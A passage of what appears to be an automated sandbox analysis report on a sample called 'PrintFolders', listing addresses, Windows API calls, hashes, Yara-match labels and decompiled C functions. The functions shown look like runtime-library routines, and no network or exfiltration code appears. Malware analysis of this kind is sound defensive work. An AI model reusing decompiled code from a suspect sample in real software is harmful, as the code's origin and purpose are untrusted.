                                                          0x10002bb6
                                                          0x10002bbb
                                                          0x10002bbc
                                                          0x10002bbd
                                                          0x10002bbe
                                                          0x10002bbf
                                                          0x10002bc0
                                                          0x10002bc1
                                                          0x10002bc3
                                                          0x10002bc4
                                                          0x10002bc5
                                                          0x10002bc6
                                                          0x10002bc9
                                                          0x10002bcb
                                                          0x10002bce
                                                          0x10002bd3
                                                          0x10002bd8
                                                          0x10002bdb
                                                          0x10002c64
                                                          0x10002c69
                                                          0x10002c6f
                                                          0x10002c72
                                                          0x10002c79
                                                          0x10002be1
                                                          0x10002be1
                                                          0x10002be4
                                                          0x10002be7
                                                          0x10002be8
                                                          0x10002bea
                                                          0x10002bed
                                                          0x10002bef
                                                          0x10002bef
                                                          0x10002bf1
                                                          0x10002bf7
                                                          0x10002c20
                                                          0x10002c20
                                                          0x10002bf9
                                                          0x10002bfc
                                                          0x10002c01
                                                          0x00000000
                                                          0x10002c03
                                                          0x10002c03
                                                          0x10002c09
                                                          0x10002c1b
                                                          0x10002c0b
                                                          0x10002c0b
                                                          0x10002c0b
                                                          0x10002c09
                                                          0x10002c01
                                                          0x10002c27
                                                          0x10002c30
                                                          0x10002c3e
                                                          0x10002c4e
                                                          0x10002c59
                                                          0x10002c61
                                                          0x10002c7b
                                                          0x10002c83
                                                          0x10002c8a
                                                          0x10002c91
                                                          0x10002c94
                                                          0x10002c97
                                                          0x10002c9c
                                                          0x10002ca1
                                                          0x10002ca8
                                                          0x10002caf
                                                          0x10002cb7
                                                          0x10002ab5
                                                          0x10002ab5
                                                          0x10002ab6
                                                          0x10002abb
                                                          0x10002abe
                                                          0x10002ac0
                                                          0x10002bac
                                                          0x10002bac
                                                          0x00000000
                                                          0x10002ac6
                                                          0x10002ac6
                                                          0x10002ac9
                                                          0x10002acc
                                                          0x10002ae4
                                                          0x10002ae7
                                                          0x10002aee
                                                          0x10002af1
                                                          0x10002af5
                                                          0x10002af6
                                                          0x10002b41
                                                          0x10002b42
                                                          0x10002b43
                                                          0x10002b48
                                                          0x10002b4e
                                                          0x10002b50
                                                          0x10002b59
                                                          0x10002af8
                                                          0x10002af8
                                                          0x10002afa
                                                          0x10002afb
                                                          0x10002afc
                                                          0x10002b04
                                                          0x10002b07
                                                          0x10002b08
                                                          0x10002b0e
                                                          0x10002b26
                                                          0x10002b26
                                                          0x10002b28
                                                          0x10002b2d
                                                          0x10002b33
                                                          0x10002b35
                                                          0x10002b3e
                                                          0x10002b10
                                                          0x10002b10
                                                          0x10002b13
                                                          0x10002b16
                                                          0x10002b18
                                                          0x10002b1b
                                                          0x10002b1e
                                                          0x00000000
                                                          0x10002b24
                                                          0x10002b24
                                                          0x00000000
                                                          0x10002b24
                                                          0x10002b1e
                                                          0x10002b0e
                                                          0x10002af6
                                                          0x10002ac0
                                                          0x10002aaf
                                                          0x10002aa8
                                                          0x10002a60
                                                          0x10002a4a
                                                          0x10002a44
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000277c
                                                          0x1000276c
                                                          0x1000275f
                                                          0x100026b7
                                                          0x1000257e
                                                          0x1000256a
                                                          0x1000255f
                                                          0x10002556
                                                          0x10002547
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10002141
                                                          0x10002131

                                                          APIs
                                                          • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,615BD7BA,?,?), ref: 1000201A
                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000001), ref: 100021C1
                                                          • GetLastError.KERNEL32 ref: 100021CF
                                                          • GetTempPathA.KERNEL32(00000104,?), ref: 100021EC
                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000001), ref: 10002389
                                                          • GetLastError.KERNEL32 ref: 10002393
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLastPath$FolderTemp
                                                          • String ID: APPDATA$TMPDIR
                                                          • API String ID: 519037321-4048745339
                                                          • Opcode ID: 2df08be5817bc88c7724805b3209b62b20567340b0953353b922b6276f4cf695
                                                          • Instruction ID: 73a1d6a44cef61f255837fd76ca3bed7767395f6b845790b902de768a736ecff
                                                          • Opcode Fuzzy Hash: 2df08be5817bc88c7724805b3209b62b20567340b0953353b922b6276f4cf695
                                                          • Instruction Fuzzy Hash: 41D1B271A042589FFB25CB24CC88B9DB7B5EF45340F1082D8E44AA7299D775AB84CF61
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042BA9F), ref: 0042ADCA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: DecodePointer
                                                          • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                          • API String ID: 3527080286-3064271455
                                                          • Opcode ID: 26b296a4fed531b61828374a93348b370b4dc10c97bd2c2867f99b54bc7a72f6
                                                          • Instruction ID: 9a0aa79b74204bca965e26bff41110038d07c872e789de07625a36b1bd30ca62
                                                          • Opcode Fuzzy Hash: 26b296a4fed531b61828374a93348b370b4dc10c97bd2c2867f99b54bc7a72f6
                                                          • Instruction Fuzzy Hash: CC5180B0A0052ACBCB148F99FA4C1AEBB74FB08304F964087EC51A7254C77C89768B5F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E00425B4F(void* __edx, char _a4) {
                                                          				void* _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				void _t53;
                                                          				intOrPtr _t54;
                                                          				intOrPtr _t55;
                                                          				intOrPtr _t56;
                                                          				intOrPtr _t57;
                                                          				signed int _t60;
                                                          				signed int _t69;
                                                          				signed int _t71;
                                                          				signed int _t74;
                                                          				signed int _t77;
                                                          				char _t82;
                                                          				void* _t93;
                                                          				signed int _t96;
                                                          				char _t107;
                                                          				char _t108;
                                                          				void* _t113;
                                                          				char* _t114;
                                                          				signed int _t120;
                                                          				signed int* _t121;
                                                          				char _t123;
                                                          				intOrPtr* _t125;
                                                          				char* _t130;
                                                          
                                                          				_t113 = __edx;
                                                          				_t123 = _a4;
                                                          				_v24 = _t123;
                                                          				_v20 = 0;
                                                          				if( *((intOrPtr*)(_t123 + 0xb0)) != 0 ||  *((intOrPtr*)(_t123 + 0xac)) != 0) {
                                                          					_v16 = 1;
                                                          					_t93 = E0041E25B(1, 0x50);
                                                          					if(_t93 != 0) {
                                                          						_t96 = 0x14;
                                                          						memcpy(_t93,  *(_t123 + 0x88), _t96 << 2);
                                                          						_t125 = E0041ED2F(4);
                                                          						_t120 = 0;
                                                          						_v8 = _t125;
                                                          						E0041E2B8(0);
                                                          						if(_t125 != 0) {
                                                          							 *_t125 = 0;
                                                          							_t123 = _a4;
                                                          							if( *((intOrPtr*)(_t123 + 0xb0)) == 0) {
                                                          								_t53 =  *0x43d160; // 0x43d1b4
                                                          								 *_t93 = _t53;
                                                          								_t54 =  *0x43d164; // 0x450784
                                                          								 *((intOrPtr*)(_t93 + 4)) = _t54;
                                                          								_t55 =  *0x43d168; // 0x450784
                                                          								 *((intOrPtr*)(_t93 + 8)) = _t55;
                                                          								_t56 =  *0x43d190; // 0x43d1b8
                                                          								 *((intOrPtr*)(_t93 + 0x30)) = _t56;
                                                          								_t57 =  *0x43d194; // 0x450788
                                                          								 *((intOrPtr*)(_t93 + 0x34)) = _t57;
                                                          								L19:
                                                          								 *_v8 = 1;
                                                          								if(_t120 != 0) {
                                                          									 *_t120 = 1;
                                                          								}
                                                          								goto L21;
                                                          							}
                                                          							_t121 = E0041ED2F(4);
                                                          							_v12 = _t121;
                                                          							E0041E2B8(0);
                                                          							_push(_t93);
                                                          							if(_t121 != 0) {
                                                          								 *_t121 =  *_t121 & 0x00000000;
                                                          								_t122 =  *((intOrPtr*)(_t123 + 0xb0));
                                                          								_t69 = E004216C5(_t113);
                                                          								_t16 = _t93 + 4; // 0x4
                                                          								_t71 = E004216C5(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0xf, _t16,  &_v24);
                                                          								_t18 = _t93 + 8; // 0x8
                                                          								_t74 = E004216C5(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0x10, _t18, 1);
                                                          								_t77 = E004216C5(_t113,  &_v24, 2,  *((intOrPtr*)(_t123 + 0xb0)), 0xe, _t93 + 0x30, _t122);
                                                          								_t22 = _t93 + 0x34; // 0x34
                                                          								if((E004216C5(_t113,  &_v24, 2, _t122, 0xf, _t22, 0xe) | _t69 | _t71 | _t74 | _t77) == 0) {
                                                          									_t114 =  *((intOrPtr*)(_t93 + 8));
                                                          									while(1) {
                                                          										_t82 =  *_t114;
                                                          										if(_t82 == 0) {
                                                          											break;
                                                          										}
                                                          										_t30 = _t82 - 0x30; // -48
                                                          										_t107 = _t30;
                                                          										if(_t107 > 9) {
                                                          											if(_t82 != 0x3b) {
                                                          												L16:
                                                          												_t114 = _t114 + 1;
                                                          												continue;
                                                          											}
                                                          											_t130 = _t114;
                                                          											do {
                                                          												_t108 =  *((intOrPtr*)(_t130 + 1));
                                                          												 *_t130 = _t108;
                                                          												_t130 = _t130 + 1;
                                                          											} while (_t108 != 0);
                                                          											continue;
                                                          										}
                                                          										 *_t114 = _t107;
                                                          										goto L16;
                                                          									}
                                                          									_t120 = _v12;
                                                          									_t123 = _a4;
                                                          									goto L19;
                                                          								}
                                                          								E00425AE6(_t93);
                                                          								E0041E2B8(_t93);
                                                          								E0041E2B8(_v12);
                                                          								_v16 = _v16 | 0xffffffff;
                                                          								L12:
                                                          								E0041E2B8(_v8);
                                                          								return _v16;
                                                          							}
                                                          							E0041E2B8();
                                                          							goto L12;
                                                          						}
                                                          						E0041E2B8(_t93);
                                                          						return 1;
                                                          					}
                                                          					return 1;
                                                          				} else {
                                                          					_t120 = 0;
                                                          					_v8 = 0;
                                                          					_t93 = 0x43d160;
                                                          					L21:
                                                          					_t60 =  *(_t123 + 0x80);
                                                          					if(_t60 != 0) {
                                                          						asm("lock dec dword [eax]");
                                                          					}
                                                          					if( *((intOrPtr*)(_t123 + 0x7c)) != 0) {
                                                          						asm("lock xadd [ecx], eax");
                                                          						if((_t60 | 0xffffffff) == 0) {
                                                          							E0041E2B8( *((intOrPtr*)(_t123 + 0x7c)));
                                                          							E0041E2B8( *(_t123 + 0x88));
                                                          						}
                                                          					}
                                                          					 *((intOrPtr*)(_t123 + 0x7c)) = _v8;
                                                          					 *(_t123 + 0x80) = _t120;
                                                          					 *(_t123 + 0x88) = _t93;
                                                          					return 0;
                                                          				}
                                                          			}






























                                                          0x00425b4f
                                                          0x00425b59
                                                          0x00425b5f
                                                          0x00425b62
                                                          0x00425b6b
                                                          0x00425b8a
                                                          0x00425b92
                                                          0x00425b98
                                                          0x00425bab
                                                          0x00425bac
                                                          0x00425bb5
                                                          0x00425bb7
                                                          0x00425bba
                                                          0x00425bbd
                                                          0x00425bc6
                                                          0x00425bd7
                                                          0x00425bd9
                                                          0x00425be2
                                                          0x00425d31
                                                          0x00425d36
                                                          0x00425d38
                                                          0x00425d3d
                                                          0x00425d40
                                                          0x00425d45
                                                          0x00425d48
                                                          0x00425d4d
                                                          0x00425d50
                                                          0x00425d55
                                                          0x00425cc4
                                                          0x00425cca
                                                          0x00425cce
                                                          0x00425cd0
                                                          0x00425cd0
                                                          0x00000000
                                                          0x00425cce
                                                          0x00425bef
                                                          0x00425bf3
                                                          0x00425bf6
                                                          0x00425bfd
                                                          0x00425c00
                                                          0x00425c0d
                                                          0x00425c13
                                                          0x00425c1f
                                                          0x00425c24
                                                          0x00425c33
                                                          0x00425c3a
                                                          0x00425c47
                                                          0x00425c5b
                                                          0x00425c65
                                                          0x00425c7c
                                                          0x00425ca8
                                                          0x00425cb8
                                                          0x00425cb8
                                                          0x00425cbc
                                                          0x00000000
                                                          0x00000000
                                                          0x00425cad
                                                          0x00425cad
                                                          0x00425cb3
                                                          0x00425d1f
                                                          0x00425cb7
                                                          0x00425cb7
                                                          0x00000000
                                                          0x00425cb7
                                                          0x00425d21
                                                          0x00425d23
                                                          0x00425d23
                                                          0x00425d26
                                                          0x00425d28
                                                          0x00425d2b
                                                          0x00000000
                                                          0x00425d2f
                                                          0x00425cb5
                                                          0x00000000
                                                          0x00425cb5
                                                          0x00425cbe
                                                          0x00425cc1
                                                          0x00000000
                                                          0x00425cc1
                                                          0x00425c7f
                                                          0x00425c85
                                                          0x00425c8d
                                                          0x00425c95
                                                          0x00425c99
                                                          0x00425c9d
                                                          0x00000000
                                                          0x00425ca5
                                                          0x00425c02
                                                          0x00000000
                                                          0x00425c07
                                                          0x00425bc9
                                                          0x00000000
                                                          0x00425bd1
                                                          0x00000000
                                                          0x00425b75
                                                          0x00425b75
                                                          0x00425b77
                                                          0x00425b7a
                                                          0x00425cd2
                                                          0x00425cd2
                                                          0x00425cda
                                                          0x00425cdc
                                                          0x00425cdc
                                                          0x00425ce4
                                                          0x00425ce9
                                                          0x00425ced
                                                          0x00425cf2
                                                          0x00425cfd
                                                          0x00425d03
                                                          0x00425ced
                                                          0x00425d07
                                                          0x00425d0c
                                                          0x00425d12
                                                          0x00000000
                                                          0x00425d12

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: 1adb941b9abc843823b6cecc210d72ab4751bd57d712c87c9e49a8cfc94ca12c
                                                          • Instruction ID: c7266049f18fbd2a82f263cfe4493866a99ee9702eead5b57a4a5b9491e875f7
                                                          • Opcode Fuzzy Hash: 1adb941b9abc843823b6cecc210d72ab4751bd57d712c87c9e49a8cfc94ca12c
                                                          • Instruction Fuzzy Hash: 34611671A007159FEB20DF66E841BABB7F8AF44314FA0456FE945EB381E774AC408B58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 81%
                                                          			E0040C590(intOrPtr __edx) {
                                                          				intOrPtr _v8;
                                                          				char _v16;
                                                          				char _v24;
                                                          				signed int _v32;
                                                          				intOrPtr* _v36;
                                                          				char _v40;
                                                          				char _v44;
                                                          				intOrPtr* _v48;
                                                          				char _v68;
                                                          				char _v120;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t40;
                                                          				signed int _t41;
                                                          				intOrPtr* _t44;
                                                          				intOrPtr _t48;
                                                          				intOrPtr _t50;
                                                          				void* _t57;
                                                          				signed int _t62;
                                                          				signed int _t63;
                                                          				void* _t64;
                                                          				intOrPtr _t66;
                                                          				intOrPtr _t73;
                                                          				signed int _t81;
                                                          				void* _t82;
                                                          				intOrPtr* _t84;
                                                          				intOrPtr* _t85;
                                                          				void* _t86;
                                                          				void* _t91;
                                                          				signed int _t94;
                                                          				void* _t102;
                                                          
                                                          				_t79 = __edx;
                                                          				_t64 = _t91;
                                                          				_t94 = (_t91 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t64 + 4));
                                                          				_t89 = _t94;
                                                          				_push(0xffffffff);
                                                          				_push(0x42cc54);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t64);
                                                          				_t40 =  *0x43d054; // 0x6e36c9b5
                                                          				_t41 = _t40 ^ _t94;
                                                          				_v32 = _t41;
                                                          				_push(_t41);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_t84 =  *((intOrPtr*)(_t64 + 8));
                                                          				_v36 = _t84;
                                                          				E0040E0A3( &_v44, 0);
                                                          				_v16 = 0;
                                                          				_t81 =  *0x4500b0; // 0x1
                                                          				_t44 =  *0x450d08; // 0x1432f20
                                                          				_v48 = _t44;
                                                          				if(_t81 == 0) {
                                                          					E0040E0A3( &_v40, _t81);
                                                          					_t102 =  *0x4500b0 - _t81; // 0x1
                                                          					if(_t102 == 0) {
                                                          						_t62 =  *0x450098; // 0x1
                                                          						_t63 = _t62 + 1;
                                                          						 *0x450098 = _t63;
                                                          						 *0x4500b0 = _t63;
                                                          					}
                                                          					E0040E0FB( &_v40);
                                                          					_t81 =  *0x4500b0; // 0x1
                                                          				}
                                                          				_t66 =  *((intOrPtr*)(_t84 + 4));
                                                          				if(_t81 >=  *((intOrPtr*)(_t66 + 0xc))) {
                                                          					_t85 = 0;
                                                          					__eflags = 0;
                                                          					L8:
                                                          					if( *((char*)(_t66 + 0x14)) == 0) {
                                                          						L11:
                                                          						if(_t85 != 0) {
                                                          							L19:
                                                          							E0040E0FB( &_v44);
                                                          							 *[fs:0x0] = _v24;
                                                          							_pop(_t82);
                                                          							_pop(_t86);
                                                          							return E0040EBBF(_t85, _t64, _v32 ^ _t89, _t79, _t82, _t86);
                                                          						}
                                                          						L12:
                                                          						_t48 = _v48;
                                                          						if(_t48 == 0) {
                                                          							_t85 = E0040EDCF(_t81, _t85, __eflags, 0x18);
                                                          							_v48 = _t85;
                                                          							_v16 = 1;
                                                          							_t73 =  *((intOrPtr*)(_v36 + 4));
                                                          							__eflags = _t73;
                                                          							if(_t73 == 0) {
                                                          								_t50 = 0x4399f7;
                                                          							} else {
                                                          								_t50 =  *((intOrPtr*)(_t73 + 0x18));
                                                          								__eflags = _t50;
                                                          								if(_t50 == 0) {
                                                          									_t50 = _t73 + 0x1c;
                                                          								}
                                                          							}
                                                          							E00403F10(_t50);
                                                          							 *((intOrPtr*)(_t85 + 4)) = 0;
                                                          							 *_t85 = 0x42eee4;
                                                          							E0040E67F(_t81, _t85, __eflags,  &_v68);
                                                          							asm("movups xmm0, [eax]");
                                                          							asm("movups [esi+0x8], xmm0");
                                                          							E00403FC0( &_v120);
                                                          							_v36 = _t85;
                                                          							_v16 = 2;
                                                          							E0040E254(__eflags, _t85);
                                                          							_t79 =  *_t85;
                                                          							 *((intOrPtr*)( *_t85 + 4))();
                                                          							 *0x450d08 = _t85;
                                                          						} else {
                                                          							_t85 = _t48;
                                                          						}
                                                          						goto L19;
                                                          					}
                                                          					_t57 = E0040E280();
                                                          					if(_t81 >=  *((intOrPtr*)(_t57 + 0xc))) {
                                                          						goto L12;
                                                          					}
                                                          					_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t57 + 8)) + _t81 * 4));
                                                          					goto L11;
                                                          				}
                                                          				_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t66 + 8)) + _t81 * 4));
                                                          				if(_t85 != 0) {
                                                          					goto L19;
                                                          				}
                                                          				goto L8;
                                                          			}



































                                                          0x0040c590
                                                          0x0040c591
                                                          0x0040c599
                                                          0x0040c5a0
                                                          0x0040c5a4
                                                          0x0040c5a6
                                                          0x0040c5a8
                                                          0x0040c5b3
                                                          0x0040c5b4
                                                          0x0040c5b8
                                                          0x0040c5bd
                                                          0x0040c5bf
                                                          0x0040c5c4
                                                          0x0040c5c8
                                                          0x0040c5ce
                                                          0x0040c5d6
                                                          0x0040c5d9
                                                          0x0040c5de
                                                          0x0040c5e5
                                                          0x0040c5eb
                                                          0x0040c5f0
                                                          0x0040c5f5
                                                          0x0040c5fb
                                                          0x0040c600
                                                          0x0040c606
                                                          0x0040c608
                                                          0x0040c60d
                                                          0x0040c60e
                                                          0x0040c613
                                                          0x0040c613
                                                          0x0040c61b
                                                          0x0040c620
                                                          0x0040c620
                                                          0x0040c626
                                                          0x0040c62c
                                                          0x0040c63e
                                                          0x0040c63e
                                                          0x0040c640
                                                          0x0040c644
                                                          0x0040c656
                                                          0x0040c658
                                                          0x0040c6e5
                                                          0x0040c6e8
                                                          0x0040c6f2
                                                          0x0040c6fa
                                                          0x0040c6fb
                                                          0x0040c70c
                                                          0x0040c70c
                                                          0x0040c65e
                                                          0x0040c65e
                                                          0x0040c663
                                                          0x0040c670
                                                          0x0040c675
                                                          0x0040c678
                                                          0x0040c67f
                                                          0x0040c682
                                                          0x0040c684
                                                          0x0040c692
                                                          0x0040c686
                                                          0x0040c686
                                                          0x0040c689
                                                          0x0040c68b
                                                          0x0040c68d
                                                          0x0040c68d
                                                          0x0040c68b
                                                          0x0040c69b
                                                          0x0040c6a3
                                                          0x0040c6ab
                                                          0x0040c6b1
                                                          0x0040c6bc
                                                          0x0040c6bf
                                                          0x0040c6c3
                                                          0x0040c6c8
                                                          0x0040c6cc
                                                          0x0040c6d0
                                                          0x0040c6d5
                                                          0x0040c6dc
                                                          0x0040c6df
                                                          0x0040c665
                                                          0x0040c665
                                                          0x0040c665
                                                          0x00000000
                                                          0x0040c663
                                                          0x0040c646
                                                          0x0040c64e
                                                          0x00000000
                                                          0x00000000
                                                          0x0040c653
                                                          0x00000000
                                                          0x0040c653
                                                          0x0040c631
                                                          0x0040c636
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0040C5D9
                                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0040C5FB
                                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0040C61B
                                                          • __Getctype.LIBCPMT ref: 0040C6B1
                                                          • std::_Facet_Register.LIBCPMT ref: 0040C6D0
                                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0040C6E8
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
                                                          • String ID: B@
                                                          • API String ID: 1102183713-1939862501
                                                          • Opcode ID: 3bfcd95a1d60704c14d7630784b95f2b5bd9d64dce3bb454e3c0f79256cf6333
                                                          • Instruction ID: 6ac1ce246c7cb2948fc285676951677c035abaaa7204644bef92127c1cfd88d1
                                                          • Opcode Fuzzy Hash: 3bfcd95a1d60704c14d7630784b95f2b5bd9d64dce3bb454e3c0f79256cf6333
                                                          • Instruction Fuzzy Hash: 8541AF71900214CBCB20DF55D881BAEB7B4EB14714F144A7EE846B7382DB3AAD05CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 87%
                                                          			E00424C14(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
                                                          				signed int _v5;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				signed int _v48;
                                                          				signed int _t59;
                                                          				signed int _t62;
                                                          				signed int _t64;
                                                          				signed int _t67;
                                                          				signed int _t68;
                                                          				signed int _t71;
                                                          				signed int _t72;
                                                          				signed int _t76;
                                                          				signed int* _t78;
                                                          				signed int _t84;
                                                          				signed int _t86;
                                                          				signed int _t87;
                                                          				signed int _t91;
                                                          				intOrPtr* _t98;
                                                          				signed int _t109;
                                                          				signed int _t110;
                                                          				signed int _t111;
                                                          				intOrPtr* _t120;
                                                          				signed int _t121;
                                                          				void* _t122;
                                                          				void* _t126;
                                                          				signed int _t130;
                                                          				signed int _t138;
                                                          				signed int _t139;
                                                          				signed int _t141;
                                                          				signed int _t143;
                                                          				signed int _t146;
                                                          				signed int _t149;
                                                          				signed int _t150;
                                                          				void* _t153;
                                                          				void* _t157;
                                                          				void* _t158;
                                                          				void* _t160;
                                                          				void* _t162;
                                                          
                                                          				_t110 = __ebx;
                                                          				_t153 = _t157;
                                                          				_t158 = _t157 - 0x10;
                                                          				_t146 = _a4;
                                                          				_t163 = _t146;
                                                          				if(_t146 != 0) {
                                                          					_push(__ebx);
                                                          					_t141 = _t146;
                                                          					_t59 = E00412C70(_t146, 0x3d);
                                                          					_v20 = _t59;
                                                          					__eflags = _t59;
                                                          					if(__eflags == 0) {
                                                          						L38:
                                                          						 *((intOrPtr*)(E004135F1(__eflags))) = 0x16;
                                                          						goto L39;
                                                          					} else {
                                                          						__eflags = _t59 - _t146;
                                                          						if(__eflags == 0) {
                                                          							goto L38;
                                                          						} else {
                                                          							_v5 =  *((intOrPtr*)(_t59 + 1));
                                                          							L60();
                                                          							_t110 = 0;
                                                          							__eflags =  *0x450898 - _t110; // 0x1425f28
                                                          							if(__eflags != 0) {
                                                          								L14:
                                                          								_t64 =  *0x450898; // 0x1425f28
                                                          								_v12 = _t64;
                                                          								__eflags = _t64;
                                                          								if(_t64 == 0) {
                                                          									goto L39;
                                                          								} else {
                                                          									_t67 = E00424F1C(_t146, _v20 - _t146);
                                                          									_v16 = _t67;
                                                          									_t120 = _v12;
                                                          									__eflags = _t67;
                                                          									if(_t67 < 0) {
                                                          										L24:
                                                          										__eflags = _v5 - _t110;
                                                          										if(_v5 == _t110) {
                                                          											goto L40;
                                                          										} else {
                                                          											_t68 =  ~_t67;
                                                          											_v16 = _t68;
                                                          											_t30 = _t68 + 2; // 0x2
                                                          											_t139 = _t30;
                                                          											__eflags = _t139 - _t68;
                                                          											if(_t139 < _t68) {
                                                          												goto L39;
                                                          											} else {
                                                          												__eflags = _t139 - 0x3fffffff;
                                                          												if(_t139 >= 0x3fffffff) {
                                                          													goto L39;
                                                          												} else {
                                                          													_v12 = E00424F7C(_t120, _t139, 4);
                                                          													E0041E2B8(_t110);
                                                          													_t71 = _v12;
                                                          													_t158 = _t158 + 0x10;
                                                          													__eflags = _t71;
                                                          													if(_t71 == 0) {
                                                          														goto L39;
                                                          													} else {
                                                          														_t121 = _v16;
                                                          														_t141 = _t110;
                                                          														 *(_t71 + _t121 * 4) = _t146;
                                                          														 *(_t71 + 4 + _t121 * 4) = _t110;
                                                          														goto L29;
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										__eflags =  *_t120 - _t110;
                                                          										if( *_t120 == _t110) {
                                                          											goto L24;
                                                          										} else {
                                                          											E0041E2B8( *((intOrPtr*)(_t120 + _t67 * 4)));
                                                          											_t138 = _v16;
                                                          											__eflags = _v5 - _t110;
                                                          											if(_v5 != _t110) {
                                                          												_t141 = _t110;
                                                          												 *(_v12 + _t138 * 4) = _t146;
                                                          											} else {
                                                          												_t139 = _v12;
                                                          												while(1) {
                                                          													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
                                                          													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
                                                          														break;
                                                          													}
                                                          													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
                                                          													_t138 = _t138 + 1;
                                                          													__eflags = _t138;
                                                          												}
                                                          												_v16 = E00424F7C(_t139, _t138, 4);
                                                          												E0041E2B8(_t110);
                                                          												_t71 = _v16;
                                                          												_t158 = _t158 + 0x10;
                                                          												__eflags = _t71;
                                                          												if(_t71 != 0) {
                                                          													L29:
                                                          													 *0x450898 = _t71;
                                                          												}
                                                          											}
                                                          											__eflags = _a8 - _t110;
                                                          											if(_a8 == _t110) {
                                                          												goto L40;
                                                          											} else {
                                                          												_t122 = _t146 + 1;
                                                          												do {
                                                          													_t72 =  *_t146;
                                                          													_t146 = _t146 + 1;
                                                          													__eflags = _t72;
                                                          												} while (_t72 != 0);
                                                          												_v16 = _t146 - _t122 + 2;
                                                          												_t149 = E0041E25B(_t146 - _t122 + 2, 1);
                                                          												_pop(_t124);
                                                          												__eflags = _t149;
                                                          												if(_t149 == 0) {
                                                          													L37:
                                                          													E0041E2B8(_t149);
                                                          													goto L40;
                                                          												} else {
                                                          													_t76 = E0041C7A8(_t149, _v16, _a4);
                                                          													_t160 = _t158 + 0xc;
                                                          													__eflags = _t76;
                                                          													if(__eflags != 0) {
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														E00413544();
                                                          														asm("int3");
                                                          														_push(_t153);
                                                          														_push(_t141);
                                                          														_t143 = _v48;
                                                          														__eflags = _t143;
                                                          														if(_t143 != 0) {
                                                          															_t126 = 0;
                                                          															_t78 = _t143;
                                                          															__eflags =  *_t143;
                                                          															if( *_t143 != 0) {
                                                          																do {
                                                          																	_t78 =  &(_t78[1]);
                                                          																	_t126 = _t126 + 1;
                                                          																	__eflags =  *_t78;
                                                          																} while ( *_t78 != 0);
                                                          															}
